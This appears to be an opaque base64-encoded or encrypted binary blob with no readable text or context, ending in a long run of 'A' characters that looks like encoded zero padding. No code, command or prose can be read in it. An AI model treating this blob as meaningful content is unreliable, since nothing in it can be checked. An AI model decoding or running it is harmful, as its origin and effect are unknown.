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AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA